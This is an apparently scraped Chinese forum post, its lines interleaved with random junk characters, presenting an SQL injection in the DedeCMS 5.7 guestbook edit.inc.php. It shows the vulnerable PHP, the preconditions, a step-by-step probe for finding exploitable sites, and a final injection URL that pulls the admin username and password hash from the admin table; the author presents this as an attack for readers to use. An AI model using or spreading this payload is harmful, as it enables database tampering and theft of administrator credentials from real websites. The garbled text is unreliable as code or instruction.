影响版本为5.7
$ y# U; c, i+ e: |' q8 u: d5 B
2 a' {/ i' q; L9 j% \漏洞文件edit.inc.php具体代码:
' w, a3 U* g1 i3 D& F
6 }; a) D2 |% j* Q0 ?( _1 X5 L< ?php 9 `! L! ?$ W% W
% m' b8 \+ t; F; D* B3 n& A% V8 E& s( i
if(!defined('DEDEINC')) exit('Request Error!');
e. f( R3 g% J& ?; S: _' O5 U5 t) v& H/ Q0 f& r
* Y) H5 ]0 W; g) ^( b: q" A0 C! r
if(!empty($_COOKIE['GUEST_BOOK_POS'])) $GUEST_BOOK_POS = $_COOKIE['GUEST_BOOK_POS']; ; d+ r& A0 y$ D: w5 _- I1 a/ J
6 M) t* `0 {, v. g. q6 d( `4 M
else $GUEST_BOOK_POS = "guestbook.php"; 2 W$ j2 K( _* i8 \. j3 F6 K6 G o1 j+ \
8 U+ U$ F9 z6 _$ h( r4 \ 7 g4 ^8 Y/ i" q5 o H- p
5 S8 r' t5 R. k- b# M
$id = intval($id); % h8 r9 W( l H# z- ^3 @8 e% A
e2 T4 p: q D ?1 I" Lif(empty($job)) $job='view';
) o# Y3 n; @% N( k
! L* F* e7 c$ e9 ?( x6 @2 c3 l
$ ]# }. f$ @- M( h- e' z( I0 E, o p' N" {
if($job=='del' && $g_isadmin)
/ _" S- ~! U2 B$ W
4 X8 ]6 S B, z- F3 _{
( l8 G; G& k% t9 Q- i7 `/ `/ V7 C; T! d
$dsql->ExecuteNoneQuery(" DELETE FROM `#@__guestbook` WHERE id='$id' "); " g' D3 J% q3 g1 J: L7 A) R
9 a6 a% P4 Y5 h% Q3 L8 O( lShowMsg("成功删除一条留言!", $GUEST_BOOK_POS); 2 \. ]- C* G, P
! h0 p" s( c1 k3 C- _) Gexit();
- _% X$ _5 v( J7 I5 g0 s" B& C* v9 g# n7 H
}
D" P, D% L9 J; F+ o' ]' m5 I& w J1 u5 Z' F( i1 Z- a
else if($job=='check' && $g_isadmin)
& Y( m! _% h; y; D! ~, y( ]* A# j4 U o; T
{
, _* e) z8 I5 y+ u1 C. n7 m
- C& a% r& y4 M4 m+ p1 o$dsql->ExecuteNoneQuery(" UPDATE `#@__guestbook` SET ischeck=1 WHERE id='$id' "); 1 E8 V& I( T$ x, F. P) x& Z, O
$ G9 N2 K9 H' e3 z
ShowMsg("成功审核一条留言!", $GUEST_BOOK_POS);
) I$ b$ W2 a- l$ s& B; N" D8 D$ U; `# o
exit();
' C. x* L: n& y& \/ \( q5 O4 i- x3 ~5 Z
} ! x7 f. K5 a3 U' x0 z
) K+ M2 G4 v# k7 {else if($job=='editok') 0 h; q8 E6 E( |) h) z" I1 n5 s
+ s3 ]- i4 `, j" M S{ 5 ]7 z! f$ s$ S. i; \
0 A9 I- U) c. a+ t* Y+ t
$remsg = trim($remsg); / O7 O2 B" {, l; S& b6 v
0 D9 c8 F) v9 b: |
if($remsg!='') * s* R8 b! G/ l7 ~3 x
" W, U5 P) \/ W F, J{ / A4 k3 j3 M% M$ h
: O9 v0 o6 x4 Z3 X+ y
//管理员回复不过滤HTML By:Errorera blog:errs.cc
V0 e, M% l6 f) I5 w6 z4 g/ @# x5 t4 l+ H4 ~
if($g_isadmin)
- D" v7 @& m9 |& t) I- V4 W7 J, H; L* f( F) \
{ , {; O- x1 s8 \1 Z: g: r. Q' ~
; n6 v$ a/ x# b9 B. c$msg = "<div class='rebox'>".$msg."</div>\n".$remsg; 3 o" A9 m0 ?, S9 o$ o. F
' ~+ d4 e7 e( r
//$remsg <br /><font color=red>管理员回复:</font> } + v% |& u% A2 J; N0 Z) Q
8 ?( t: _0 N% u: w# y+ q
else ' Y" S5 l! B& H0 ^$ C) @8 a# S$ a- F
) m+ o# w; I. R. \
{ 2 ~' ]% P7 v: _0 d R
" u8 t$ v2 \1 N- T8 q: {" \7 U/ D
$row = $dsql->GetOne("SELECT msg From `#@__guestbook` WHERE id='$id' ");
3 ^' ^3 H! x' C7 d* ?- c" `5 N' X! L! ^
$oldmsg = "<div class='rebox'>".addslashes($row['msg'])."</div>\n"; $ R, Z3 B2 _# V; \) a2 K
2 I3 e% R# {. l e5 S" C$remsg = trimMsg(cn_substrR($remsg, 1024), 1);
. d V I, s/ m$ P
' S U, P% A. N% V8 H# q' r* A' U$msg = $oldmsg.$remsg; - O5 q: d- C" ~4 y6 x
\* I& N; Y8 ~& m
} ; ]7 A8 p" G2 ^( O
2 R p9 V, _ d8 [3 N0 U' M% `7 N- E
}
" J2 p, Q0 X* F5 L; P( y2 u# H% S5 t0 a: w
//这里没有对$msg过滤,导致可以任意注入了By:Errorera home:www.errs.cc * q B. b5 b8 |5 O6 I1 K) f, H& Q1 @8 d
/ V6 {; x: @! G" X7 q$dsql->ExecuteNoneQuery("UPDATE `#@__guestbook` SET `msg`='$msg', `posttime`='".time()."' WHERE id='$id' "); 7 }; ~3 o# Y' }# @/ S' o; V
, Z4 o5 l/ R; y% Z% V4 J( Y9 z
ShowMsg("成功更改或回复一条留言!", $GUEST_BOOK_POS); . }4 {& B, i+ y( P# r9 x
/ F) W" u: I% C7 X* X$ Jexit(); % O& G7 v7 `7 M9 M
4 R4 f w7 ]& C. Y" j9 S} 1 e c0 Q) {4 }% A
( N& e9 k) s5 L, Z# G+ Y
//home:www.errs.cc
5 u5 p9 @0 Q3 u$ {( [+ B a0 m7 Z" \/ r3 U$ @
if($g_isadmin)
! O: a# W" o+ o, d) o# ^0 u. d# I* n s5 y! T7 V
{
$ @" L# Q3 Y4 k8 \( v9 l0 Q& M/ C" q3 P- h
$row = $dsql->GetOne("SELECT * FROM `#@__guestbook` WHERE id='$id'");
4 V- e! V! ?5 h% a3 h6 F
6 Z8 b% x8 L0 g; w# j% |0 T2 B8 g/ }4 o9 rrequire_once(DEDETEMPLATE.'/plus/guestbook-admin.htm');
; W: a* a) O7 M0 {5 g! r
4 U# m4 u. @8 I; C* l$ U4 {% ~$ @} " ~: K% P( Z' Y) J9 b! a
' O3 _2 G5 s/ W2 H6 n, nelse
6 C2 W4 A, D2 n
2 U8 z9 X6 k' r/ B{ 9 X/ H! ? x4 s- X" O
5 e+ Y8 n4 l8 w5 K& [$row = $dsql->GetOne("SELECT id,title FROM `#@__guestbook` WHERE id='$id'");
/ n. H6 x( ?2 @% k N/ P6 \& q* q' H$ D+ u
require_once(DEDETEMPLATE.'/plus/guestbook-user.htm'); 8 ?2 b/ E# N- W7 W; }! s3 W
5 `* ^/ V1 t7 p% I2 X8 u8 N
} 漏洞成功需要条件:4 c* M0 `& \. _/ t
1. php magic_quotes_gpc=off9 [& w* ?; M+ O8 J+ o) r9 L, U7 k
2.漏洞文件存在 plus/guestbook.php dede_guestbook 表当然也要存在。0 f! A! }# Q/ y
7 x1 z! O9 k2 \! ?怎么判断是否存在漏洞:" O! g% k& @- B/ u2 W) s( L
先打开www.xxx.com/plus/guestbook.php 可以看到别人的留言,
8 x$ ]6 |& @, C; E6 Y( q r, s& O然后鼠标放在 [回复/编辑] 上 可以看到别人留言的ID。那么记下ID% D; v6 f, S7 l8 i) A$ q& I' V
访问:$ H- \6 I$ ?; N. E
& u% j) m9 G# Z- a* O7 N. {
www.xxx.com/plus/guestbook.php?a ... tok&msg=errs.cc存在的留言ID提交后如果是dede5.7版本的话 会出现 “成功更改或回复一条留言” 那就证明修改成功了& Y1 d' G# q# a) G2 i
跳回到www.xxx.com/plus/guestbook.php 看下你改的那条留言ID是否变成了 errs.cc’ 如果变成了 那么证" E6 w) x+ J, T2 U! H6 F
' q; h [) Q: D9 D! F6 n+ I p) [- C4 X! U6 @
明漏洞无法利用应为他开启了 php magic_quotes_gpc=off# j& x5 V% s+ b& r# T
如果没有修改成功,那留言ID的内容还是以前的 那就证明漏洞可以利用。
6 s2 z! R1 G4 \( N) t那么再次访问6 Z% A3 U. v1 |
* T" h n4 I2 A0 Jwww.xxx.com/plus/guestbook.php?a ... ;job=editok&id=存在的留言ID&msg=',msg=user(),email='然后返回,那条留言ID的内容就直接修改成了mysql 的user().
9 ]9 Q' y$ Q8 [) X, I7 {8 y1 w( ?- w9 s
大概利用就是这样,大家有兴趣的多研究下!!
& u$ `/ U& S. Y, u+ i5 o) e# d7 X( X- M& j& {/ \. W% U
最后补充下,估计有人会说怎么暴管理后台帐户密码,你自己研究下 会知道的。反正绝对可以暴出来(不可以暴出来我就不会发)!!; v; o5 Z$ X: V4 M4 h. @7 T( g' S
& B* Z; T/ {6 k! O
view sourceprint?1 /plus/guestbook.php?action=admin&job=editok&id=146&msg=',msg=@`'`,msg=(selecT CONCAT(userid,0x7c,pwd) fRom `%23@__admin` LIMIT 0,1),email=' |